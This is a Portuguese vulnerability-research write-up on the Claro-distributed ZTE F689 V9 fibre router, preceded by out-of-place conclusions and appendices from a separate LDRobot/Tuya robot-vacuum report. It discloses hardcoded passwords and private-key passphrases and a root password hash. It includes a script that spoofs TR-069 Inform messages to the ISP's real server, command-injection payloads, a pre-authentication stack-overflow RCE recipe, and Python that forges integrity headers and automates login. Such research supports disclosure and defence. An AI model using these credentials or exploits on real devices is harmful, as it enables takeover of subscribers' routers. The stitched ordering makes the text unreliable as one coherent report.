Um robô aspirador conectado é um computador Linux com root rodando na sua rede doméstica, com microfone (em alguns modelos), câmera (em modelos com navegação visual) e mapeamento detalhado da planta da sua casa. Ele sabe o layout dos seus cômodos, sabe quando você está em casa (baseado em agendamento e sensores) e mantém uma conexão persistente com um servidor na internet.

O mercado de IoT doméstico trata segurança como feature opcional. O fato de que a LDRobot compilou com FORTIFY_SOURCE e colocou uma senha não-trivial no root já coloca esse dispositivo acima da média do segmento, e mesmo assim encontrei três vulnerabilidades, duas delas com injeção de comando direta.

A maldição do NFTL

A maior frustração dessa pesquisa foi o NFTL. Em todos os roteadores que analisei antes (ZTE F689, TP-Link RE305), o firmware era extraível limpo, NOR flash com filesystem SquashFS direto, ou NAND com layout previsível. O Allwinner NFTL é uma camada de complexidade que impede análise estática profunda a partir do dump bruto.

Ironicamente, o NFTL não é uma medida de segurança. Ele existe pra wear leveling e bad block management, necessidades operacionais da NAND flash. Mas o efeito colateral é que funciona como uma forma acidental de ofuscação. Strings são legíveis, mas fluxo de controle não. É o suficiente pra encontrar vulnerabilidades por padrão de strings, mas não o suficiente pra confirmar com certeza absoluta via disassembly.

O ecossistema Tuya

Tuya é a plataforma IoT que roda por baixo de centenas de marcas white-label. O SDK Tuya (versão 4.3.1 neste dispositivo) fornece conectividade MQTT, protocolo LAN, OTA update e gerenciamento de data points. A exposição não é específica da LDRobot. Qualquer dispositivo usando o Tuya SDK com padrão semelhante de construção de comandos shell sem sanitização está potencialmente vulnerável.

A ausência de assinatura criptográfica nos pacotes de voz (VD-03) é uma decisão do SDK ou do fabricante. MD5 é verificação de integridade, não de autenticidade. Qualquer pipeline de update que use MD5 como única verificação está a uma posição de MITM de distância da execução de código arbitrário.

Apêndice A. Sumário dos Achados

Apêndice B. Binários Analisados

network_proxy_2 (~1.9 MB, ELF dinâmico ARM)
  - daemon principal de rede e Tuya SDK
  - imports: system(), __printf_chk, __snprintf_chk, __sprintf_chk,
    __vsnprintf_chk, __memcpy_chk, __strcpy_chk, __stack_chk_fail
  - afetado por: VD-01, VD-02

voice package library (~100 KB, ELF dinâmico ARM)
  - biblioteca de gerenciamento de pacotes de voz
  - source: network_proxy_2/src/logic/voice_package.cpp
  - imports: system(), __snprintf_chk, __memcpy_chk, __stack_chk_fail
  - afetado por: VD-03

CleanPackApp (~540 KB, ELF estático ARM)
  - aplicação principal do robô (orquestração)
  - contém strings de "downloadAndApply", "getVoicePackageInfo"
  - afetado por: VD-03 (orquestração de download)

cleanpack_mode (shell script)
  - script de configuração WiFi/AP
  - recebe SSID sem sanitização
  - afetado por: VD-02

Apêndice C. Ferramentas Utilizadas

Apêndice D. Dump SHA256

SHA256 (dump.bin)  = 00ea975770c88095c2c780b02b3b675879ef104078cf41e14647a43c12c08fa8
SHA256 (dump2.bin) = 00ea975770c88095c2c780b02b3b675879ef104078cf41e14647a43c12c08fa8

128 MB (134.217.728 bytes). Dois dumps independentes, checksums idênticos.

1. Introdução

Eu não comecei essa pesquisa querendo encontrar vinte e cinco vulnerabilidades no meu roteador. Eu só queria habilitar o modo bridge.

Sou assinante de fibra da Claro e, como muita gente que se importa com a infraestrutura da própria rede, queria colocar a ONT fornecida pelo provedor em modo bridge e rodar o meu próprio roteador atrás dela. Pedido simples. Só que o ZTE ZXHN F689 V9 que a Claro distribui não permite fazer isso, a opção ou está escondida ou está completamente desativada na interface web. E a conta de administrador que teoricamente teria acesso a essa configuração? Desabilitada no nível do provedor.

Então eu fiz o que qualquer pessoa razoável faria: comecei a cutucar.

Meu plano inicial era simples. Eu tinha visto que existe uma ferramenta da comunidade , zte-config-utility , que consegue descriptografar e re-criptografar os arquivos config.bin de backup que o roteador exporta. A ideia era direta: exportar o backup, descriptografar pra config.xml, achar a configuração do modo admin, alterar, re-criptografar e fazer upload de volta. Limpo. Sem precisar "hackear" nada.

Quase funcionou. A descriptografia funcionou perfeitamente , o config.xml saiu como XML em texto claro, com toda a configuração do roteador em plaintext, incluindo credenciais que eu nem sabia que existiam. Fiz minhas alterações, re-criptografei, fiz upload do backup. O roteador aceitou. Por uns trinta segundos eu achei que tinha conseguido.

Aí o TR-069 entrou em ação.

O ACS da Claro (Auto-Configuration Server) , a infraestrutura que os provedores usam pra gerenciar dispositivos CPE remotamente , empurrou uma configuração nova em segundos, sobrescrevendo tudo que eu tinha mudado. O pipeline TR-069 gerenciado pelo provedor tinha poder de veto sobre qualquer alteração local que eu fizesse. Fim de jogo.

Mas nesse ponto eu já estava olhando pro config.xml e vendo coisas que me fizeram parar e pensar. Credenciais. Várias contas. Senhas em texto claro. Um arquivo de configuração de 353KB com mais estrutura do que eu esperava. Comecei a fazer perguntas. Como a autenticação realmente funciona? O que esse firmware faz internamente? O que tem naqueles arquivos criptografados que eu vejo no sistema de arquivos?

O que se seguiu foram meses de engenharia reversa de firmware que revelaram vinte e cinco vulnerabilidades distintas: um stack overflow pré-autenticado com RCE como root, credenciais hardcoded para mais de dez ISPs em doze países, chaves criptográficas compartilhadas, um ACS TR-069 sem autenticação, dois caminhos de command injection, autenticação agnóstica ao username, um hash de senha root exposto, um certificado TLS compartilhado, derivações de credencial via GPON SN e MAC, e uma injeção no tcpdump. Várias delas se encadeiam formando um caminho completo de comprometimento remoto sem nenhuma interação do usuário.

Este é o relato de como eu encontrei cada uma.

2. Visão Geral do Dispositivo

O ZTE ZXHN F689 V9 é uma ONT GPON (Optical Network Terminal) , aquela caixa que fica entre a sua rede doméstica e a infraestrutura de fibra do seu provedor. Não é só um roteador; é o ponto de demarcação entre a sua LAN e a rede óptica do ISP. No Brasil, a Claro distribui o equipamento como uma unidade tudo-em-um: faz conversão óptica-ethernet, roda uma stack completa de roteador/NAT, provê WiFi e gerencia serviços VoIP.

Do ponto de vista de segurança, essa classe de dispositivo é particularmente interessante por algumas razões.

Primeiro, o provedor é mais dono do aparelho do que você. O protocolo TR-069 CWMP dá ao provedor um canal persistente de gerência remota direto dentro do seu dispositivo. Eles podem ler configuração, aplicar mudanças e, em algumas implementações, fazer push de firmware novo , tudo sem nenhuma interação sua. Seu "roteador" é, na prática, infraestrutura compartilhada que por acaso mora na sua casa.

Segundo, ele está sempre ligado e sempre conectado à internet por design. Diferente de um NAS ou de um laptop que pode estar desligado ou protegido por firewall, uma ONT é o próprio endpoint de rede. Se você compromete a ONT, você está posicionado entre o assinante e a internet.

Terceiro, o mesmo binário de firmware roda em todo dispositivo desse modelo. A ZTE entrega uma imagem única de firmware pra todos os assinantes Claro que têm a F689 V9. Qualquer vulnerabilidade que eu encontre no binário está presente em todos esses dispositivos simultaneamente. Não existe aleatorização por dispositivo de chaves, não existe derivação de credenciais por dispositivo na maior parte dos casos , as credenciais geralmente são literalmente a mesma string em todos os aparelhos.

A superfície de ataque que eu estava olhando não era um dispositivo. Eram todos os assinantes da Claro Brasil rodando esse hardware.

3. Reconhecimento Inicial e Aquisição do Firmware

Obtendo o Firmware

Meu primeiro instinto foi olhar pra o que eu já tinha. O config.xml que veio da descriptografia do backup continha uma tabela chamada DownloadList que descrevia a última atualização de firmware que o dispositivo tinha recebido via TR-069:

<Tbl name="DownloadList" RowCount="1">
  <Row No="0">
    <DM name="FileType" val="1 Firmware Upgrade Image"/>
    <DM name="URL" val="http://IPV6_CLARO/GUI_F689_2G_SIP_V9.0.10P4N10_UPGRADE_BOOTLDR.bin"/>
    <DM name="TargetFileName" val="GUI_F689_2G_SIP_V9.0.10P4N10_UPGRADE_BOOTLDR.bin"/>
    <DM name="State" val="1"/>
  </Row>
</Tbl>

O firmware estava sendo servido sobre HTTP puro, a partir do que parece ser um endereço IPv6 interno do provedor, sem nenhuma autenticação. Bastou pedir:

curl http://IPV6_CLARO/GUI_F689_2G_SIP_V9.0.10P4N10_UPGRADE_BOOTLDR.bin \
     -o firmware.bin

28,6 MB. Sem TLS. Sem token. Sem header de autenticação. Qualquer pessoa na rede IPv6 do provedor podia baixar isso.

Extraindo o Sistema de Arquivos

Com o firmware em mãos, a extração foi direta. O binwalk identificou e extraiu um sistema de arquivos JFFS2:

binwalk -eMq firmware.bin
# _firmware.extracted/
#   20000.jffs2
#   jffs2-root/        ← o filesystem montado
#     bin/
#     etc/
#     home/httpd/       ← raiz do servidor web
#     lib/
#     usr/

A estrutura do filesystem estava limpa e bem organizada, o que na prática facilitou bastante a análise. A raiz do servidor web ficava em home/httpd/, o binário principal do daemon era bin/cspd, e havia uma árvore paralela em home/httpd/thinklua/ contendo a lógica Lua do lado-servidor da interface web.

Primeiras Impressões

A primeira coisa que chamou minha atenção foi etc/hardcodefile/. Só o nome já é um sinal amarelo. Dentro: um arquivo chamado webpri , claramente criptografado, não legível direto , e um arquivo chamado hardcode em texto claro. O arquivo hardcode continha o que parecia ser material de derivação de chave. Essa combinação já acendeu o alerta na hora.

A segunda coisa foi etc/shadow:

root:$5$qGmxLn8v$0Vnc7mm0Lyxr7WclD6sjGJe93Tk.DoXQy0I0jBS1bu.:18000:0:99999:7:::

SHA-256crypt. Mesmo hash em todos os dispositivos. Se eu conseguisse quebrar, teria root em todo F689 V9 do Brasil. Anotei e segui em frente.

Terceira: etc/server-key.pem e etc/server-cert.pem. O certificado HTTPS da interface web. Incluindo a chave privada. Hardcoded. Igual em todos os dispositivos.

Eu já estava contando vulnerabilidades antes de ter aberto um único binário.

Ferramentas

Meu toolkit principal de RE nesse projeto:

• binwalk , unpacking do firmware

• radare2 , disassembler principal para bin/cspd (ARM 32-bit ELF)

• Ghidra , usado para decompilação de alto nível e análise de cross-references, especialmente útil pra mapear a camada de IPC entre httpd e cspd

• strings + grep , subestimadas; encontraram padrões críticos no cspd antes mesmo de eu abrir um disassembler

• Python (requests + pycryptodome) , toda a automação de testes dinâmicos

• zte-config-utility , descriptografia do config.bin

• scripting em radare2 (r2pipe) , análise em lote de cross-references

4. Fluxo de Trabalho de Engenharia Reversa

Mapeando a Arquitetura

Antes de mergulhar em qualquer vulnerabilidade específica, gastei um tempo entendendo como o sistema se encaixa. A interface web do ZTE F689 segue um padrão que já vi em alguns firmwares de roteador embarcado: um frontend baseado em Lua rodando dentro de um binário httpd customizado, que se comunica com um daemon de backend (bin/cspd) via IPC.

O fluxo pra qualquer request web fica assim:

Browser → httpd → módulo Lua → cmapi.setinst() → socket IPC → cspd → ação

cmapi é uma extensão C do Lua que faz a ponte entre o frontend Lua e o daemon C. Toda mudança de configuração, todo comando de diagnóstico e todo evento de autenticação passa por esse canal. Entender essa arquitetura foi a chave pra encontrar as injection vulnerabilities , a pergunta sobre sanitização virou "o que o cspd faz com os valores que recebe?"

Rastreando o Fluxo de Autenticação

Comecei pela autenticação porque o config.xml já tinha me mostrado mais contas do que eu esperava. O fluxo de login funcionava assim:

1. Cliente faz GET em login_token , um valor de uso único gerado pelo servidor

2. Cliente computa SHA256(senha + login_token)

3. Cliente faz POST em login_entry com Username, Password (hash) e _sessionTOKEN

4. Servidor valida e retorna um sess_token com um nível login_right

Havia também um header Check em todo POST , uma assinatura de integridade no formato base64(RSA_PKCS1v1.5_encrypt(sha256(body))). Achei a chave pública hardcoded no template Lua commpage_status_comm.lp. O que imediatamente sugeriu que alguém tinha a chave privada também , e que essa chave privada estaria dentro do credential store criptografado webpri.

Quebrando o Credential Store

A criptografia do arquivo webpri acabou sendo AES-256-CBC, com a chave derivada deterministicamente a partir do arquivo hardcode via um processo implementado em libhardcode.so. Fiz engenharia reversa da derivação da chave a partir da biblioteca e escrevi uma reimplementação em Python:

from Crypto.Cipher import AES
import base64, hashlib

def derive_key_from_hardcode(hardcode_content):
    # libhardcode.so deriva a chave AES usando uma cadeia de operações SHA
    # sobre campos específicos extraídos do arquivo hardcode
    # [detalhes omitidos até o fim do embargo]
    ...

def decrypt_webpri(webpri_bytes, key):
    iv  = webpri_bytes[:16]
    ct  = webpri_bytes[16:]
    aes = AES.new(key, AES.MODE_CBC, iv)
    return aes.decrypt(ct).rstrip(b'\x00')

O resultado foram mais de 26 entradas de credenciais em texto claro, incluindo:

O WebPrivateKey foi imediatamente reconhecível , era a passphrase da chave privada RSA usada pra gerar o header Check. WebHTTPSKey era a passphrase da chave do certificado TLS. DefAdNewPass era a senha default do admin. AdOldPass56 contém o que parece ser a senha de um provedor vietnamita , esse firmware foi implantado em vários países, e as credenciais de todos eles vêm empacotadas juntas.

Com a WebPrivateKey em mãos, eu podia construir headers Check válidos pra qualquer body de request, em qualquer dispositivo F689 , totalmente offline, sem nunca contactar o alvo. Combinado com uma sessão válida (obtida via a falha de autenticação que descreverei depois), isso derrota a proteção de integridade pretendida em qualquer POST.

Conectando Lua ao C

A parte mais interessante do workflow de RE foi conectar o código Lua do frontend com os handlers em C no cspd. A ponte cmapi recebe o nome de um objeto (tipo "OBJ_DEVPING_ID" ou "OBJ_TRACERT_ID") e uma tabela de parâmetros, serializa e manda via socket UNIX IPC pro cspd.

No cspd, usei strings pra encontrar as strings dos nomes dos objetos, depois o radare2 pra encontrar todos os cross-references a elas , o que me levou direto às funções handler. Foi assim que mapeei a cadeia completa de processamento de cada endpoint de diagnóstico.

5. Descoberta das Vulnerabilidades

Vou descrever as falhas na ordem em que eu as descobri, porque a sequência importa , cada descoberta informou a próxima.

CVE-B , Credenciais Hardcoded (CWE-798)

Essa foi a primeira descoberta séria, e foi a que destravou quase todo o resto. O arquivo webpri contendo mais de 26 credenciais compartilhadas entre todos os dispositivos dessa versão de firmware é a raiz da árvore de vulnerabilidades. Sem WebPrivateKey, eu não consigo forjar headers Check. Sem DefAdNewPass, eu não sei a senha do admin. Sem AdNewAgentClaroPass, eu não entendo a hierarquia completa de contas.

CVSS: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

O firmware é publicamente baixável. Qualquer pessoa pode rodar o script de descriptografia e extrair todas as credenciais. Sem precisar de acesso a dispositivo nenhum.

CVE-C , Par de Chaves RSA-4096 Compartilhado (CWE-321)

O mecanismo do header Check deveria garantir que POSTs pra interface web não tenham sido alterados no caminho. O dispositivo valida cada request descriptografando o header Check com sua chave pública e comparando o resultado com SHA256(request_body).

O problema é que o mesmo par de chaves RSA é usado em todos os dispositivos. A chave pública está hardcoded num template Lua (pra o JavaScript do browser saber qual usar). A chave privada mora em etc/private-key.pem, protegida apenas pela passphrase Web!&#2024. vinda do webpri.

Na prática: uma vez que você tem a chave privada (trivial de obter do firmware), você pode forjar headers Check pra qualquer sessão autenticada em qualquer dispositivo do mundo. Combinado com um token de sessão roubado, você tem uma primitiva de forgery que não pode ser contestada.

CVSS: 8.1 High (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)

CVE-F (nomenclatura da disclosure) , Certificado TLS Compartilhado (CWE-321 + CWE-298)

Enquanto eu olhava pra a chave RSA, notei etc/server-key.pem e etc/server-cert.pem. São as credenciais TLS da interface web HTTPS. O certificado é auto-assinado, válido por 100 anos (2021–2121), emitido pra emailAddress=123@zte.com e , adivinhou , idêntico em todos os dispositivos.

Com a chave privada (passphrase zte12345!@#$% vinda do webpri), um atacante na rede local pode fazer MitM trivial da conexão HTTPS entre um assinante e a interface admin do seu roteador, capturando silenciosamente credenciais em trânsito.

CVE-D , ACS TR-069 Aceita Inform Sem Autenticação (CWE-306)

Essa foi a que mais me surpreendeu, porque não é uma vulnerabilidade de firmware , é uma vulnerabilidade de infraestrutura.

O ACS da Claro Brasil fica em tr069.sdm.virtua.com.br:7547. O protocolo CWMP exige que o CPE autentique no ACS, mas o ACS não autentica o CPE de forma significativa. Escrevi um teste pequeno: enviar mensagens Inform pro ACS fingindo ser dispositivos aleatórios, com valores aleatórios de SerialNumber e OUI.

inform_body = """<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope ...>
  <soapenv:Body>
    <cwmp:Inform>
      <DeviceId>
        <Manufacturer>ZTE</Manufacturer>
        <OUI>{oui}</OUI>
        <ProductClass>F689</ProductClass>
        <SerialNumber>{serial}</SerialNumber>
      </DeviceId>
      ...
    </cwmp:Inform>
  </soapenv:Body>
</soapenv:Envelope>"""

160 requests. 160 InformResponse bem-sucedidos. 160 valores únicos de CWMPSessionToken. O ACS aceitou cada identidade que eu apresentei.

Um atacante que conheça o número de série de um dispositivo do assinante , obtível via backup config.xml que o próprio assinante pode exportar, ou adivinhável dado o formato CLARO_XXXXXX , pode se passar por aquele dispositivo no ACS, potencialmente emitindo GetParameterValues pra ler a configuração do aparelho ou SetParameterValues pra empurrar configurações maliciosas.

CVSS: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVE-H , Autenticação Agnóstica ao Username (CWE-287)

Enquanto examinava o fluxo de autenticação em usermgr_logic_impl.lua, notei algo estranho. O username é lido do body do POST e passado todo o caminho até cmapi.login() , mas a camada C em cspd que de fato valida credenciais parece não usá-lo como chave de lookup. Ela só varre todas as contas habilitadas com AppID=1 procurando um hash de senha que bata.

Hipótese: dá pra logar com qualquer username desde que a senha esteja correta.

Teste:

for username in ["CLARO_6842C7", "admin", "nonexistent_user", "root", "", "任意字符串"]:
    result = login(username, correct_password)
    print(f"{username!r:30s} → {result['sess_token'][:8]}... login_right={result['login_right']}")

Saída:

'CLARO_6842C7'                 → 8Ob2ogwE... login_right=2
'admin'                        → 7Kp1nmqR... login_right=2
'nonexistent_user'             → 3Xw9vbcL... login_right=2
'root'                         → 5Qm4jkpY... login_right=2
''                             → 2Hn8rsdt... login_right=2
'任意字符串'                   → 9Fc6ltmP... login_right=2

Todos bem-sucedidos. O username é completamente ignorado no nível da autenticação , só é guardado na sessão pra fins de logging. Ou seja: um atacante com uma senha roubada não precisa saber o username correspondente. Ele também tem controle total sobre o que aparece no log de acesso do roteador.

CVSS: 5.3 Medium (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) standalone, mas o efeito amplificador sobre a CVE-B torna isso significativamente mais perigoso na prática.

O código-fonte torna isso visível. De usermgr_logic_impl.lua:

UserMgrLogicClass.__authAccount = function (self, sess_id, user, pass, logintoken)
    local tCheck = self:__isUserNamePwdCorrect(user, pass, logintoken)
    local result = tCheck.IF_ERRORID
    session_set(sess_id, "login_name", user)   -- guardado, mas nunca usado pra auth
    if 0 == result then
        local login_right = tCheck["Right"]    -- vem do resultado do match de senha
        session_set(sess_id, "login_right", login_right)
    end
end

O tCheck["Right"] que determina o seu nível de privilégio vem da conta cuja senha deu match , o username submetido não teve nenhuma influência.

CVE-A , Injeção no Ping (CWE-78) , Bloqueada

Vou ser transparente: a injeção no ping que eu inicialmente suspeitei acabou sendo efetivamente patchada pela camada de validação, mesmo que o code path em si ainda seja tecnicamente vulnerável. Estou incluindo porque entender por que ela é bloqueada é essencial pra entender por que a injeção no traceroute (abaixo) não é.

O handler de ping no cspd , PingChkReqConf , chama dois validadores antes de fazer qualquer coisa:

ChkHost(host)         → checagem estrita de formato IPv4/IPv6/domínio , bloqueia ;, |, &, espaço
ChkLanWanCon(iface)  → lookup exato no banco via GetRouteIFInfo , rejeita qualquer string modificada

Teste dinâmico com Interface=DEV.IP.IF4;sleep 5:

Payload: DEV.IP.IF4;sleep 5    → FAIL, 0.84s  ← rejeitado pelo ChkLanWanCon
Payload: ;sleep 5              → FAIL, 0.82s  ← rejeitado pelo ChkHost
Payload: DEV.IP.IF4            → SUCC, 0.97s  ← só interface válida passa

O spawner de processos pc (que de fato executa comandos via execl("/bin/sh", "sh", "-c", cmd)) só filtra >, ', ", \, $ e backticks , não filtra ;, | nem &. Então o mecanismo de execução shell-level é vulnerável. Mas a validação application-level para a injection antes que chegue ao shell. Majoritariamente mitigado.

Digo "majoritariamente" porque o caminho TR-069 (ISP empurrando config via SetParameterValues) pode contornar completamente a validação da camada web , mas é uma questão de pesquisa separada que eu não persegui.

CVE-G (matriz CVE-F) , Injeção no Traceroute (CWE-78)

Aqui a coisa ficou interessante. Enquanto auditava o cspd olhando o handler do ping, naturalmente olhei pro handler do traceroute , tracertProcSynMsg em VA 0x134f48. Procurei qualquer chamada a ChkHost ou ChkLanWanCon dentro dessa função.

Zero resultados.

; VA 0x134f60 , Host inserido diretamente na string do comando
0x134f60  ldr  r2, [str.traceroute1__s...]  ; "traceroute1 %s [-4/-6] [-w ...]"
0x134f68  mov  r3, r4                        ; r4 = POST["Host"] , sem validação
0x134f6c  bl   sym.imp.snprintf

; VA 0x135a00 , Interface concatenado sem validação
0x135a00  ldr  r1, [str._-i_]               ; " -i "
0x135a08  bl   sym.imp.strcat
0x135a0c  ldr  r1, [r4, #sInterface_off]    ; POST["Interface"] , sem validação
0x135a14  bl   sym.imp.strcat               ; strcat(cmd, sInterface) ← INJECTION

; VA 0x135d74 , despachado pro shell
0x135d80  bl   sym.imp.PcStartProgram       ; executa via /bin/sh

O handler de traceroute é uma cópia literal do padrão de vulnerabilidade contra o qual o handler de ping foi fortalecido. Mesmo snprintf/strcat pra montar um comando shell, mesmo dispatch PcStartProgram. Mas com zero validadores.

O comando resultante com Interface=;sleep 5;:

traceroute1 1.1.1.1 -4 -w 3 -q 3 -m 10 -i ;sleep 5;

O shell executaria traceroute1 1.1.1.1 -4 -w 3 -q 3 -m 10 -i (falhando ou rodando parcialmente), depois executaria sleep 5, e então o ponto-e-vírgula final.

A camada Lua confirma o mesmo padrão:

-- networkdiag_traceroute_lua.lua
if FP_ACTION == "TraceRouteDiagnosis" then
    local t = transToPostTab(PARA)   -- copia Host e Interface verbatim
    SetFixValue(t)
    tError = cmapi.setinst(FP_OBJNAME, "", t)  -- zero validação antes disso
end

Por que isso não foi confirmado dinamicamente? Porque em dispositivos Claro Brasil BCH, o endpoint do traceroute exige login_right=1, e a única conta web com login_right=1 , admin/Web@0063 , tem Enable=0 na tabela DevAuthInfo. A Claro desabilitou a conta de admin no momento do provisionamento.

A fórmula de controle de acesso (de usermgr_logic_impl.lua):

elseif ((resourceRight * ((0.5)^(userRight - 1))) % 2) >= 1 then
    rightMeeted = true

Com resourceRight=1 (traceroute exige admin apenas) e userRight=2 (o que eu tenho):

(1 × 0.5^1) % 2 = 0.5 % 2 = 0.5 < 1 → BLOQUEADO

Em qualquer deployment onde a conta admin esteja habilitada , configuração padrão de fábrica da ZTE, ou qualquer provedor que não aplique o hardening BCH , isso é diretamente explorável.

CVSS: 8.8 High (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVE-H (matriz CVE-G) , Injeção no TcpDump via IFName (CWE-78)

Encontrada durante uma busca sistemática por padrões de snprintf no cspd que inserem dados controlados pelo usuário em strings de comando. O handler de tcpdump em VA 0x0012d0bc:

// Reconstruído do disassembly
snprintf(cmd, sizeof(cmd),
    "tcpdump -w /var/tmp/tcpdump.pcap -R time=%d -i %s -C %u",
    time_param,   // inteiro, seguro
    IFName,       // POST["IFName"] , NÃO VALIDADO
    size_param);  // inteiro, seguro
PcStartProgram("tcpdump", cmd);

Não existe função ChkTcpDump em lugar nenhum do libcfapi.so. Na configuração BCH, o endpoint do tcpdump (diag_tcpdump_lua.lua) nem sequer está registrado em gui_dmenu.lua, então é inalcançável nesse provedor específico. Mas o código está lá, compilado, esperando, e outras configurações de firmware podem expô-lo.

CVSS: 7.2 High (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)

CVE-E , Hash da Senha Root em Shadow (CWE-259 / CWE-916)

root:$5$qGmxLn8v$0Vnc7mm0Lyxr7WclD6sjGJe93Tk.DoXQy0I0jBS1bu.

SHA-256crypt ($5$), salt fixo qGmxLn8v, mesmo hash em todos os dispositivos dessa versão de firmware. Se quebrar, você tem acesso root em qualquer F689 V9 via console serial, ou via qualquer serviço de shell que esteja habilitado.

Tentei quebrar com uma wordlist customizada montada a partir de todas as credenciais do webpri e mutações comuns. Sem sucesso. Vai precisar de GPU e rockyou/seclists pra ser atacado como deve.

CVSS: 8.1 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H), subindo pra 9.8 Critical se quebrado.

CVE-J — Stack Overflow Pré-Autenticado em httpd: RCE como Root (CWE-121)

Durante análise do bin/httpd, identifiquei um path de processamento que roda antes de qualquer verificação de sessão ou autenticação. A função check_data_integrity em 0x23d58 é invocada para todo POST em /?_type=menuData que contenha um header Check:. A função faz descriptografia RSA no conteúdo do header — e essa descriptografia transborda um buffer de stack sem nenhuma proteção.

Processo de Engenharia Reversa

O ponto de partida foi comportamental: qualquer POST para /?_type=menuData com um header Check: malformado retorna HTTP 400 mesmo sem sessão ativa. Isso indicava que o header era processado pré-autenticação — antes do dispatch de login, não depois.

Verificações preliminares no binário:

$ file bin/httpd
bin/httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1, dynamically linked
# "executable" (não "shared object") = non-PIE — endereços fixos mesmo com ASLR

$ grep -c __stack_chk bin/httpd
0
# Sem stack canary em nenhuma função

$ readelf -l bin/httpd | grep GNU_STACK
  GNU_STACK  0x000000  ... RW
# NX ativo (stack não-executável) — mas sem canary, NX sozinho não impede ROP

$ nm -D bin/httpd | grep -c fork
0
# httpd é single-process, sem fork/vfork no handler de conexão

No Ghidra (ARM32 LE, base 0x00000000 para non-PIE), a função check_data_integrity@0x23d58 decompila para:

// httpd @ 0x23d58 — pseudocódigo gerado pelo Ghidra, simplificado
void check_data_integrity(http_request_t *req) {
    char sb[256];            // buffer na stack em fp−0x11c
    char check_b64[700];
    unsigned char c_buf[700];

    RSA *rsa = PEM_read_RSAPrivateKey("/etc/private-key.pem",
                                       NULL, NULL, NULL);

    int check_len = get_header_value(req, "Check:", check_b64, 700);
    if (check_len <= 0) return;

    int c_len = decode_base64(check_b64, c_buf);

    // ← VULNERABILIDADE: parâmetro `to` sem limitação de tamanho de saída
    // RSA-4096 com PKCS#1: plaintext máximo = 4096/8 − 11 = 501 bytes
    // sb tem apenas 256 bytes → overflow de até 245 bytes garantido
    int m_len = RSA_private_decrypt(c_len, c_buf, sb, rsa, RSA_PKCS1_PADDING);

    // A função continua comparando sb com SHA256(body)
    // mas a stack já foi corrompida se m_len > 256
}

A causa raiz é a assinatura de RSA_private_decrypt: o parâmetro to recebe o plaintext sem nenhum parâmetro max_len. O chamador é responsável por dimensionar o buffer — e aqui o buffer de 256 bytes é incapaz de conter o plaintext máximo de 501 bytes de uma chave RSA-4096.

Controle Total do Conteúdo do Overflow

O aspecto que transforma esse overflow em RCE completo sem nenhuma informação secreta: o atacante controla o plaintext M usando apenas a chave pública.

RSA_private_decrypt(C) = M se e somente se C = RSA_public_encrypt(M). A chave pública correspondente à /etc/private-key.pem está disponível em texto claro em home/httpd/thinklua/template/commpage_status_comm.lp — e é a mesma chave pública em todos os dispositivos (CVE-C). Logo:

1. Atacante escolhe payload M arbitrário de até 501 bytes

2. Computa C = RSA_public_encrypt(M) localmente (não precisa da chave privada)

3. Envia C em base64 no header Check: de um POST para /?_type=menuData

4. httpd decripta C → M, transbordando sb[256] com exatamente o conteúdo escolhido

5. Overflow ocorre antes de qualquer autenticação — zero sessão, zero credencial necessária

CVSS: 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

6. Detalhes de Exploração

Construindo o Header Check

A interface web rejeita qualquer POST cujo header Check não verifique contra o body do request. O dispositivo executa o lado public-key de uma verificação de assinatura PKCS#1 v1.5: aplica a chave pública RSA hardcoded ao valor do Check e compara o resultado com SHA256(body). Pra forjar um Check válido, você precisa da chave privada correspondente , que vem do webpri (passphrase Web!&#2024., via CVE-B):

import hashlib, base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5

privkey = RSA.import_key(open("etc/private-key.pem").read(),
                          passphrase="Web!&#2024.")

def make_check_header(post_body: str) -> str:
    digest  = hashlib.sha256(post_body.encode()).hexdigest()
    cipher  = PKCS1_v1_5.new(privkey)
    return base64.b64encode(cipher.encrypt(digest.encode())).decode()

Detalhe de API que vale notar: Crypto.Cipher.PKCS1_v1_5.encrypt() chamado com uma chave privada executa exatamente a primitiva que o dispositivo espera , um padrão de "assinatura via encryption" , mesmo que o nome do método sugira encryption. O dispositivo então aplica a operação public-key e recupera o digest SHA256.

Com essa primitiva em mãos, consigo produzir um Check válido pra qualquer body, pra qualquer sessão, em qualquer dispositivo F689. Sem state de sessão, sem contato com o dispositivo, sem negociação. A proteção de integridade pretendida está completamente quebrada pra qualquer pessoa com acesso ao firmware.

Automatizando o Fluxo de Login

A automação completa do login, incluindo a sequência de token-chaining ligeiramente incomum:

import hashlib, re, requests

def zte_login(target, username, password):
    sess = requests.Session()
    sess.headers.update({
        "User-Agent": "Mozilla/5.0",
        "X-Requested-With": "XMLHttpRequest",
        "Origin": target,
        "Referer": target + "/"
    })

    # Passo 1: estabelecer cookie de sessão
    sess.get(target + "/")

    # Passo 2: obter o session token (usado no POST de login)
    r = sess.get(target + "/?_type=loginData&_tag=login_entry",
                 headers={"Accept": "application/json"})
    sess_token = r.json().get("sess_token", "")

    # Passo 3: obter o login token de uso único (usado no hash da senha)
    r = sess.get(target + "/?_type=loginData&_tag=login_token")
    login_token = re.sub(r"<[^>]+>", "", r.text).strip()

    # Passo 4: gerar hash da senha
    pwd_hash = hashlib.sha256((password + login_token).encode()).hexdigest()

    # Passo 5: POST das credenciais
    body = (f"action=login&Username={username}"
            f"&Password={pwd_hash}&_sessionTOKEN={sess_token}")
    r = sess.post(target + "/?_type=loginData&_tag=login_entry",
                  data=body,
                  headers={"Content-Type": "application/x-www-form-urlencoded"})

    j = r.json()
    if "sess_token" in j and not j.get("loginErrMsg"):
        # Passo 6: navegar pra página alvo (estabelece o state no httpd)
        sess.get(target + "/?_type=menuView&_tag=TRACEROUTEDiagnosis&Menu3Location=0")
        return sess, j["sess_token"]
    return None, None

